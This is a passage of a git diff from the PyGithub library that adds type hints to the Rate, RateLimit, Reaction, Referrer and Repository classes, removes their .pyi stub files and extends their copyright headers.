self._makeDatetimeAttribute(attributes["submitted_at"]) diff --git a/github/PullRequestReview.pyi b/github/PullRequestReview.pyi deleted file mode 100644 index e485f810a8..0000000000 --- a/github/PullRequestReview.pyi +++ /dev/null @@ -1,28 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser - -class PullRequestReview(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def body(self) -> str: ... - @property - def commit_id(self) -> str: ... - def dismiss(self, message: str) -> None: ... - def delete(self) -> None: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def pull_request_url(self) -> str: ... - @property - def state(self) -> str: ... - @property - def submitted_at(self) -> datetime: ... - @property - def user(self) -> NamedUser: ... diff --git a/github/Rate.py b/github/Rate.py index e8e8a393ad..9e46ae75aa 100644 --- a/github/Rate.py +++ b/github/Rate.py @@ -1,11 +1,22 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Nikolay Yurin # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -25,15 +36,24 @@ # # ################################################################################ -import github.GithubObject +from datetime import datetime +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class Rate(github.GithubObject.NonCompletableGithubObject): + +class Rate(NonCompletableGithubObject): """ This class represents Rates. The reference can be found here https://docs.github.com/en/rest/reference/rate-limit """ - def __repr__(self): + def _initAttributes(self) -> None: + self._limit: Attribute[int] = NotSet + self._remaining: Attribute[int] = NotSet + self._reset: Attribute[datetime] = NotSet + self._used: Attribute[int] = NotSet + + def __repr__(self) -> str: return self.get__repr__( { "limit": self._limit.value, @@ -43,35 +63,27 @@ def __repr__(self): ) @property - def limit(self): - """ - :type: integer - """ + def limit(self) -> int: return self._limit.value @property - def remaining(self): - """ - :type: integer - """ + def remaining(self) -> int: return self._remaining.value @property - def reset(self): - """ - :type: datetime.datetime - """ + def reset(self) -> datetime: return self._reset.value - def _initAttributes(self): - self._limit = github.GithubObject.NotSet - self._remaining = github.GithubObject.NotSet - self._reset = github.GithubObject.NotSet + @property + def used(self) -> int: + return self._used.value - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "limit" in attributes: # pragma no branch self._limit = self._makeIntAttribute(attributes["limit"]) if "remaining" in attributes: # pragma no branch self._remaining = self._makeIntAttribute(attributes["remaining"]) if "reset" in attributes: # pragma no branch self._reset = self._makeTimestampAttribute(attributes["reset"]) + if "used" in attributes: # pragma no branch + self._used = self._makeIntAttribute(attributes["used"]) diff --git a/github/Rate.pyi b/github/Rate.pyi deleted file mode 100644 index 956f2f2ec0..0000000000 --- a/github/Rate.pyi +++ /dev/null @@ -1,15 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class Rate(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def limit(self) -> int: ... - @property - def remaining(self) -> int: ... - @property - def reset(self) -> datetime: ... diff --git a/github/RateLimit.py b/github/RateLimit.py index be1404ef9d..af5e616416 100644 --- a/github/RateLimit.py +++ b/github/RateLimit.py @@ -1,11 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -25,20 +35,32 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.Rate +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.Rate import Rate -class RateLimit(github.GithubObject.NonCompletableGithubObject): +class RateLimit(NonCompletableGithubObject): """ This class represents RateLimits. The reference can be found here https://docs.github.com/en/rest/reference/rate-limit """ - def __repr__(self): + def _initAttributes(self) -> None: + self._core: Attribute[Rate] = NotSet + self._search: Attribute[Rate] = NotSet + self._graphql: Attribute[Rate] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"core": self._core.value}) @property - def core(self): + def core(self) -> Rate: """ Rate limit for the non-search-related API @@ -47,7 +69,7 @@ def core(self): return self._core.value @property - def search(self): + def search(self) -> Rate: """ Rate limit for the Search API. @@ -56,7 +78,7 @@ def search(self): return self._search.value @property - def graphql(self): + def graphql(self) -> Rate: """ (Experimental) Rate limit for GraphQL API, use with caution. @@ -64,19 +86,10 @@ def graphql(self): """ return self._graphql.value - def _initAttributes(self): - self._core = github.GithubObject.NotSet - self._search = github.GithubObject.NotSet - self._graphql = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "core" in attributes: # pragma no branch self._core = self._makeClassAttribute(github.Rate.Rate, attributes["core"]) if "search" in attributes: # pragma no branch - self._search = self._makeClassAttribute( - github.Rate.Rate, attributes["search"] - ) + self._search = self._makeClassAttribute(github.Rate.Rate, attributes["search"]) if "graphql" in attributes: # pragma no branch - self._graphql = self._makeClassAttribute( - github.Rate.Rate, attributes["graphql"] - ) + self._graphql = self._makeClassAttribute(github.Rate.Rate, attributes["graphql"]) diff --git a/github/RateLimit.pyi b/github/RateLimit.pyi deleted file mode 100644 index 88b8b9122e..0000000000 --- a/github/RateLimit.pyi +++ /dev/null @@ -1,15 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject -from github.Rate import Rate - -class RateLimit(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def core(self) -> Rate: ... - @property - def graphql(self) -> Rate: ... - @property - def search(self) -> Rate: ... diff --git a/github/Reaction.py b/github/Reaction.py index c772808618..835d660842 100644 --- a/github/Reaction.py +++ b/github/Reaction.py @@ -1,8 +1,23 @@ ############################ Copyrights and license ############################ # # -# Copyright 2017 Nicolas Agustín Torres # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -22,53 +37,55 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations + +from datetime import datetime +from typing import TYPE_CHECKING, Any + import github.NamedUser +from github.GithubObject import Attribute, CompletableGithubObject, NotSet from . import Consts +if TYPE_CHECKING: + from github.NamedUser import NamedUser -class Reaction(github.GithubObject.CompletableGithubObject): + +class Reaction(CompletableGithubObject): """ This class represents Reactions. The reference can be found here https://docs.github.com/en/rest/reference/reactions """ - def __repr__(self): + def _initAttributes(self) -> None: + self._content: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._id: Attribute[int] = NotSet + self._user: Attribute[NamedUser] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "user": self._user.value}) @property - def content(self): - """ - :type: string - """ + def content(self) -> str: self._completeIfNotSet(self._content) return self._content.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def user(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def user(self) -> NamedUser: self._completeIfNotSet(self._user) return self._user.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /reactions/{id} `_ :rtype: None @@ -79,13 +96,7 @@ def delete(self): headers={"Accept": Consts.mediaTypeReactionsPreview}, ) - def _initAttributes(self): - self._content = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "content" in attributes: # pragma no branch self._content = self._makeStringAttribute(attributes["content"]) if "created_at" in attributes: # pragma no branch @@ -93,6 +104,4 @@ def _useAttributes(self, attributes): if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "user" in attributes: # pragma no branch - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) diff --git a/github/Reaction.pyi b/github/Reaction.pyi deleted file mode 100644 index 216918adfc..0000000000 --- a/github/Reaction.pyi +++ /dev/null @@ -1,19 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser - -class Reaction(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def content(self) -> str: ... - @property - def created_at(self) -> datetime: ... - def delete(self) -> None: ... - @property - def id(self) -> int: ... - @property - def user(self) -> NamedUser: ... diff --git a/github/Referrer.py b/github/Referrer.py index 993b5c73f7..354e2863b8 100644 --- a/github/Referrer.py +++ b/github/Referrer.py @@ -1,10 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # # Copyright 2018 Justin Kufro # -# Copyright 2018 Ivan Minno # -# Copyright 2018 Zilei Gu # -# Copyright 2018 Yves Zumbach # -# Copyright 2018 Leying Chen # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,16 +35,23 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class Referrer(github.GithubObject.NonCompletableGithubObject): + +class Referrer(NonCompletableGithubObject): """ This class represents a popylar Referrer for a GitHub repository. The reference can be found here https://docs.github.com/en/rest/reference/repos#traffic """ - def __repr__(self): + def _initAttributes(self) -> None: + self._referrer: Attribute[str] = NotSet + self._count: Attribute[int] = NotSet + self._uniques: Attribute[int] = NotSet + + def __repr__(self) -> str: return self.get__repr__( { "referrer": self._referrer.value, @@ -43,32 +61,18 @@ def __repr__(self): ) @property - def referrer(self): - """ - :type: string - """ + def referrer(self) -> str: return self._referrer.value @property - def count(self): - """ - :type: integer - """ + def count(self) -> int: return self._count.value @property - def uniques(self): - """ - :type: integer - """ + def uniques(self) -> int: return self._uniques.value - def _initAttributes(self): - self._referrer = github.GithubObject.NotSet - self._count = github.GithubObject.NotSet - self._uniques = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "referrer" in attributes: # pragma no branch self._referrer = self._makeStringAttribute(attributes["referrer"]) if "count" in attributes: # pragma no branch diff --git a/github/Referrer.pyi b/github/Referrer.pyi deleted file mode 100644 index c0397799e8..0000000000 --- a/github/Referrer.pyi +++ /dev/null @@ -1,14 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class Referrer(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def count(self) -> str: ... - @property - def referrer(self) -> str: ... - @property - def uniques(self) -> int: ... diff --git a/github/Repository.py b/github/Repository.py index c00a0df082..a2189d09d9 100644 --- a/github/Repository.py +++ b/github/Repository.py @@ -18,16 +18,14 @@ # Copyright 2015 Ed Holland # # Copyright 2015 Enix Yu # # Copyright 2015 Jay # -# Copyright 2015 Jimmy Zelinskie # # Copyright 2015 Jonathan Debonis # # Copyright 2015 Kevin Lewandowski # # Copyright 2015 Kyle Hornberg # -# Copyright 2015 edhollandAL # # Copyright 2016 @tmshn # # Copyright 2016 Dustin Spicuzza # # Copyright 2016 Enix Yu # # Copyright 2016 Jannis Gebauer # -# Copyright 2016 Per Øyvind Karlsen # +# Copyright 2016 Per Øyvind Karlsen # # Copyright 2016 Peter Buckley # # Copyright 2016 Sylvus # # Copyright 2016 fukatani # @@ -39,35 +37,94 @@ # Copyright 2017 Jannis Gebauer # # Copyright 2017 Jason White # # Copyright 2017 Jimmy Zelinskie # -# Copyright 2017 Nhomar Hernández [Vauxoo] # # Copyright 2017 Simon # +# Copyright 2018 Aaron L. Levine # +# Copyright 2018 AetherDeity # +# Copyright 2018 Alice GIRARD # # Copyright 2018 Andrew Smith # +# Copyright 2018 Benoit Latinier # # Copyright 2018 Brian Torres-Gil # # Copyright 2018 Hayden Fuss # # Copyright 2018 Ilya Konstantinov # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 John Hui # +# Copyright 2018 Justin Kufro # # Copyright 2018 Mateusz Loskot # # Copyright 2018 Michael Behrisch # # Copyright 2018 Nicholas Buse # +# Copyright 2018 Philip May # # Copyright 2018 Raihaan <31362124+res0nance@users.noreply.github.com> # # Copyright 2018 Shinichi TAMURA # # Copyright 2018 Steve Kowalik # +# Copyright 2018 Vinay Hegde # # Copyright 2018 Wan Liuyang # # Copyright 2018 Will Yardley # +# Copyright 2018 Yossarian King # # Copyright 2018 per1234 # # Copyright 2018 sechastain # # Copyright 2018 sfdye # -# Copyright 2018 Vinay Hegde # -# Copyright 2018 Justin Kufro # -# Copyright 2018 Ivan Minno # -# Copyright 2018 Zilei Gu # -# Copyright 2018 Yves Zumbach # -# Copyright 2018 Leying Chen # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Alex # +# Copyright 2019 Kevin LaFlamme # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Tim Gates # +# Copyright 2019 Wan Liuyang # +# Copyright 2019 Will Li # +# Copyright 2020 Alice GIRARD # +# Copyright 2020 Anuj Bansal # +# Copyright 2020 Chris de Graaf # +# Copyright 2020 Dhruv Manilawala # +# Copyright 2020 Dominic Davis-Foster # +# Copyright 2020 Florent Clarret # +# Copyright 2020 Glenn McDonald # +# Copyright 2020 Huw Jones # +# Copyright 2020 Mark Bromell # +# Copyright 2020 Max Wittig # # Copyright 2020 Pascal Hofmann # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Tim Gates # +# Copyright 2020 Victor Zeng # +# Copyright 2020 ton-katsu # +# Copyright 2021 Chris Keating # # Copyright 2021 Denis Blanchette # -# Copyright 2022 Aleksei Fedotov # +# Copyright 2021 Floyd Hightower # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2021 Tanner <51724788+lightningboltemoji@users.noreply.github.com> # +# Copyright 2021 xmo-odoo # +# Copyright 2022 Aleksei Fedotov # # Copyright 2022 Eric Nieuwland # +# Copyright 2022 Ibrahim Hussaini # +# Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # +# Copyright 2022 Marco Köpcke # +# Copyright 2023 Andrew Collington # +# Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # +# Copyright 2023 Armen Martirosyan # +# Copyright 2023 BradChengIRESS <49461141+BradChengIRESS@users.noreply.github.com># +# Copyright 2023 Enrico Minack # +# Copyright 2023 Felipe Peter # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Joseph Henrich # +# Copyright 2023 Kevin Grandjean # +# Copyright 2023 Mark Amery # +# Copyright 2023 Mauricio Alejandro Martínez Pacheco # +# Copyright 2023 Mauricio Alejandro Martínez Pacheco # +# Copyright 2023 Max Mehl <6170081+mxmehl@users.noreply.github.com> # +# Copyright 2023 Micael <10292135+notmicaelfilipe@users.noreply.github.com> # +# Copyright 2023 Mikhail f. Shiryaev # +# Copyright 2023 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># +# Copyright 2023 Philipp A # +# Copyright 2023 Roberto Pastor Muela <37798125+RobPasMue@users.noreply.github.com># +# Copyright 2023 Sol Redfern <59831933+Tsuesun@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# Copyright 2023 Wojciech Barczyński <104033489+WojciechBarczynski@users.noreply.github.com># +# Copyright 2023 alson # +# Copyright 2023 chantra # +# Copyright 2024 Enrico Minack # +# Copyright 2024 Thomas Cooper # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -87,14 +144,21 @@ # # ################################################################################ +from __future__ import annotations + import collections -import datetime import urllib.parse from base64 import b64encode +from collections.abc import Iterable +from datetime import date, datetime, timezone +from typing import TYPE_CHECKING, Any from deprecated import deprecated +import github.AdvisoryCredit +import github.AdvisoryVulnerability import github.Artifact +import github.AuthenticatedUser import github.Autolink import github.Branch import github.CheckRun @@ -109,6 +173,10 @@ import github.DependabotAlert import github.Deployment import github.Download +import github.Environment +import github.EnvironmentDeploymentBranchPolicy +import github.EnvironmentProtectionRule +import github.EnvironmentProtectionRuleReviewer import github.Event import github.GitBlob import github.GitCommit @@ -119,13 +187,17 @@ import github.GitTag import github.GitTree import github.Hook +import github.HookDelivery import github.Invitation import github.Issue +import github.IssueComment import github.IssueEvent import github.Job import github.Label +import github.License import github.Milestone import github.NamedUser +import github.Notification import github.Organization import github.PaginatedList import github.Path @@ -133,10 +205,12 @@ import github.Project import github.PublicKey import github.PullRequest +import github.PullRequestComment import github.Referrer -import github.Repository +import github.RepositoryAdvisory import github.RepositoryKey import github.RepositoryPreferences +import github.Secret import github.SecretScanningAlert import github.SecurityAndAnalysis import github.SelfHostedActionsRunner @@ -150,23 +224,110 @@ import github.StatsPunchCard import github.Tag import github.Team +import github.Variable import github.View import github.Workflow import github.WorkflowRun - -from . import Consts - - -class Repository(github.GithubObject.CompletableGithubObject): +from github import Consts +from github.Environment import Environment +from github.GithubObject import ( + Attribute, + CompletableGithubObject, + NotSet, + Opt, + _NotSetType, + is_defined, + is_optional, + is_optional_list, + is_undefined, +) +from github.PaginatedList import PaginatedList + +if TYPE_CHECKING: + from github.Artifact import Artifact + from github.AuthenticatedUser import AuthenticatedUser + from github.Autolink import Autolink + from github.Branch import Branch + from github.CheckRun import CheckRun + from github.CheckSuite import CheckSuite + from github.Clones import Clones + from github.CodeScanAlert import CodeScanAlert + from github.CodeScanningAnalysis import CodeScanningAnalysis + from github.Commit import Commit + from github.CommitComment import CommitComment + from github.Comparison import Comparison + from github.ContentFile import ContentFile + from github.DependabotAlert import DependabotAlert + from github.Deployment import Deployment + from github.Download import Download + from github.EnvironmentDeploymentBranchPolicy import EnvironmentDeploymentBranchPolicyParams + from github.EnvironmentProtectionRuleReviewer import ReviewerParams + from github.Event import Event + from github.GitBlob import GitBlob + from github.GitCommit import GitCommit + from github.GitRef import GitRef + from github.GitRelease import GitRelease + from github.GitReleaseAsset import GitReleaseAsset + from github.GitTag import GitTag + from github.GitTree import GitTree + from github.Hook import Hook + from github.InputGitAuthor import InputGitAuthor + from github.InputGitTreeElement import InputGitTreeElement + from github.Invitation import Invitation + from github.Issue import Issue + from github.IssueComment import IssueComment + from github.IssueEvent import IssueEvent + from github.Job import Job + from github.Label import Label + from github.License import License + from github.Milestone import Milestone + from github.NamedUser import NamedUser + from github.Notification import Notification + from github.Organization import Organization + from github.Path import Path + from github.Permissions import Permissions + from github.Project import Project + from github.PublicKey import PublicKey + from github.PullRequest import PullRequest + from github.PullRequestComment import PullRequestComment + from github.Referrer import Referrer + from github.RepositoryKey import RepositoryKey + from github.RepositoryPreferences import RepositoryPreferences + from github.SecretScanningAlert import SecretScanningAlert + from github.SecurityAndAnalysis import SecurityAndAnalysis + from github.SelfHostedActionsRunner import SelfHostedActionsRunner + from github.SourceImport import SourceImport + from github.Stargazer import Stargazer + from github.StatsCodeFrequency import StatsCodeFrequency + from github.StatsCommitActivity import StatsCommitActivity + from github.StatsContributor import StatsContributor + from github.StatsParticipation import StatsParticipation + from github.StatsPunchCard import StatsPunchCard + from github.Tag import Tag + from github.Team import Team + from github.View import View + from github.Workflow import Workflow + from github.WorkflowRun import WorkflowRun + + +class Repository(CompletableGithubObject): """ This class represents Repositories. The reference can be found here https://docs.github.com/en/rest/reference/repos """ - def __repr__(self): + def __repr__(self) -> str: return self.get__repr__({"full_name": self._full_name.value}) @property - def allow_forking(self): + def allow_auto_merge(self) -> bool: + """ + :type: bool + """ + self._completeIfNotSet(self._allow_auto_merge) + return self._allow_auto_merge.value + + @property + def allow_forking(self) -> bool: """ :type: bool """ @@ -174,7 +335,7 @@ def allow_forking(self): return self._allow_forking.value @property - def allow_merge_commit(self): + def allow_merge_commit(self) -> bool: """ :type: bool """ @@ -182,7 +343,7 @@ def allow_merge_commit(self): return self._allow_merge_commit.value @property - def allow_rebase_merge(self): + def allow_rebase_merge(self) -> bool: """ :type: bool """ @@ -190,7 +351,7 @@ def allow_rebase_merge(self): return self._allow_rebase_merge.value @property - def allow_squash_merge(self): + def allow_squash_merge(self) -> bool: """ :type: bool """ @@ -198,7 +359,15 @@ def allow_squash_merge(self): return self._allow_squash_merge.value @property - def archived(self): + def allow_update_branch(self) -> bool: + """ + :type: bool + """ + self._completeIfNotSet(self._allow_update_branch) + return self._allow_update_branch.value + + @property + def archived(self) -> bool: """ :type: bool """ @@ -206,7 +375,7 @@ def archived(self): return self._archived.value @property - def archive_url(self): + def archive_url(self) -> str: """ :type: string """ @@ -214,7 +383,7 @@ def archive_url(self): return self._archive_url.value @property - def assignees_url(self): + def assignees_url(self) -> str: """ :type: string """ @@ -222,7 +391,7 @@ def assignees_url(self): return self._assignees_url.value @property - def blobs_url(self): + def blobs_url(self) -> str: """ :type: string """ @@ -230,7 +399,7 @@ def blobs_url(self): return self._blobs_url.value @property - def branches_url(self): + def branches_url(self) -> str: """ :type: string """ @@ -238,7 +407,7 @@ def branches_url(self): return self._branches_url.value @property - def clone_url(self): + def clone_url(self) -> str: """ :type: string """ @@ -246,7 +415,7 @@ def clone_url(self): return self._clone_url.value @property - def collaborators_url(self): + def collaborators_url(self) -> str: """ :type: string """ @@ -254,7 +423,7 @@ def collaborators_url(self): return self._collaborators_url.value @property - def comments_url(self): + def comments_url(self) -> str: """ :type: string """ @@ -262,7 +431,7 @@ def comments_url(self): return self._comments_url.value @property - def commits_url(self): + def commits_url(self) -> str: """ :type: string """ @@ -270,7 +439,7 @@ def commits_url(self): return self._commits_url.value @property - def compare_url(self): + def compare_url(self) -> str: """ :type: string """ @@ -278,7 +447,7 @@ def compare_url(self): return self._compare_url.value @property - def contents_url(self): + def contents_url(self) -> str: """ :type: string """ @@ -286,7 +455,7 @@ def contents_url(self): return self._contents_url.value @property - def contributors_url(self): + def contributors_url(self) -> str: """ :type: string """ @@ -294,15 +463,15 @@ def contributors_url(self): return self._contributors_url.value @property - def created_at(self): + def created_at(self) -> datetime: """ - :type: datetime.datetime + :type: datetime """ self._completeIfNotSet(self._created_at) return self._created_at.value @property - def default_branch(self): + def default_branch(self) -> str: """ :type: string """ @@ -310,7 +479,7 @@ def default_branch(self): return self._default_branch.value @property - def delete_branch_on_merge(self): + def delete_branch_on_merge(self) -> bool: """ :type: bool """ @@ -318,7 +487,7 @@ def delete_branch_on_merge(self): return self._delete_branch_on_merge.value @property - def deployments_url(self): + def deployments_url(self) -> str: """ :type: string """ @@ -326,7 +495,7 @@ def deployments_url(self): return self._deployments_url.value @property - def description(self): + def description(self) -> str: """ :type: string """ @@ -334,7 +503,7 @@ def description(self): return self._description.value @property - def downloads_url(self): + def downloads_url(self) -> str: """ :type: string """ @@ -342,7 +511,7 @@ def downloads_url(self): return self._downloads_url.value @property - def events_url(self): + def events_url(self) -> str: """ :type: string """ @@ -350,7 +519,7 @@ def events_url(self): return self._events_url.value @property - def fork(self): + def fork(self) -> bool: """ :type: bool """ @@ -358,7 +527,7 @@ def fork(self): return self._fork.value @property - def forks(self): + def forks(self) -> int: """ :type: integer """ @@ -366,7 +535,7 @@ def forks(self): return self._forks.value @property - def forks_count(self): + def forks_count(self) -> int: """ :type: integer """ @@ -374,7 +543,7 @@ def forks_count(self): return self._forks_count.value @property - def forks_url(self): + def forks_url(self) -> str: """ :type: string """ @@ -382,7 +551,7 @@ def forks_url(self): return self._forks_url.value @property - def full_name(self): + def full_name(self) -> str: """ :type: string """ @@ -390,7 +559,7 @@ def full_name(self): return self._full_name.value @property - def git_commits_url(self): + def git_commits_url(self) -> str: """ :type: string """ @@ -398,7 +567,7 @@ def git_commits_url(self): return self._git_commits_url.value @property - def git_refs_url(self): + def git_refs_url(self) -> str: """ :type: string """ @@ -406,7 +575,7 @@ def git_refs_url(self): return self._git_refs_url.value @property - def git_tags_url(self): + def git_tags_url(self) -> str: """ :type: string """ @@ -414,7 +583,7 @@ def git_tags_url(self): return self._git_tags_url.value @property - def git_url(self): + def git_url(self) -> str: """ :type: string """ @@ -422,7 +591,7 @@ def git_url(self): return self._git_url.value @property - def has_downloads(self): + def has_downloads(self) -> bool: """ :type: bool """ @@ -430,7 +599,7 @@ def has_downloads(self): return self._has_downloads.value @property - def has_issues(self): + def has_issues(self) -> bool: """ :type: bool """ @@ -438,7 +607,7 @@ def has_issues(self): return self._has_issues.value @property - def has_pages(self): + def has_pages(self) -> bool: """ :type: bool """ @@ -446,7 +615,7 @@ def has_pages(self): return self._has_pages.value @property - def has_projects(self): + def has_projects(self) -> bool: """ :type: bool """ @@ -454,7 +623,7 @@ def has_projects(self): return self._has_projects.value @property - def has_wiki(self): + def has_wiki(self) -> bool: """ :type: bool """ @@ -462,7 +631,7 @@ def has_wiki(self): return self._has_wiki.value @property - def homepage(self): + def homepage(self) -> str: """ :type: string """ @@ -470,7 +639,7 @@ def homepage(self): return self._homepage.value @property - def hooks_url(self): + def hooks_url(self) -> str: """ :type: string """ @@ -478,7 +647,7 @@ def hooks_url(self): return self._hooks_url.value @property - def html_url(self): + def html_url(self) -> str: """ :type: string """ @@ -486,7 +655,7 @@ def html_url(self): return self._html_url.value @property - def id(self): + def id(self) -> int: """ :type: integer """ @@ -494,7 +663,7 @@ def id(self): return self._id.value @property - def is_template(self): + def is_template(self) -> bool: """ :type: bool """ @@ -502,7 +671,7 @@ def is_template(self): return self._is_template.value @property - def issue_comment_url(self): + def issue_comment_url(self) -> str: """ :type: string """ @@ -510,7 +679,7 @@ def issue_comment_url(self): return self._issue_comment_url.value @property - def issue_events_url(self): + def issue_events_url(self) -> str: """ :type: string """ @@ -518,7 +687,7 @@ def issue_events_url(self): return self._issue_events_url.value @property - def issues_url(self): + def issues_url(self) -> str: """ :type: string """ @@ -526,7 +695,7 @@ def issues_url(self): return self._issues_url.value @property - def keys_url(self): + def keys_url(self) -> str: """ :type: string """ @@ -534,7 +703,7 @@ def keys_url(self): return self._keys_url.value @property - def labels_url(self): + def labels_url(self) -> str: """ :type: string """ @@ -542,7 +711,7 @@ def labels_url(self): return self._labels_url.value @property - def language(self): + def language(self) -> str: """ :type: string """ @@ -550,7 +719,7 @@ def language(self): return self._language.value @property - def languages_url(self): + def languages_url(self) -> str: """ :type: string """ @@ -558,15 +727,33 @@ def languages_url(self): return self._languages_url.value @property - def master_branch(self): + def license(self) -> License: + self._completeIfNotSet(self._license) + return self._license.value + + @property + def master_branch(self) -> str: + self._completeIfNotSet(self._master_branch) + return self._master_branch.value + + @property + def merge_commit_message(self) -> str: """ :type: string """ - self._completeIfNotSet(self._master_branch) - return self._master_branch.value + self._completeIfNotSet(self._merge_commit_message) + return self._merge_commit_message.value @property - def merges_url(self): + def merge_commit_title(self) -> str: + """ + :type: string + """ + self._completeIfNotSet(self._merge_commit_title) + return self._merge_commit_title.value + + @property + def merges_url(self) -> str: """ :type: string """ @@ -574,7 +761,7 @@ def merges_url(self): return self._merges_url.value @property - def milestones_url(self): + def milestones_url(self) -> str: """ :type: string """ @@ -582,7 +769,7 @@ def 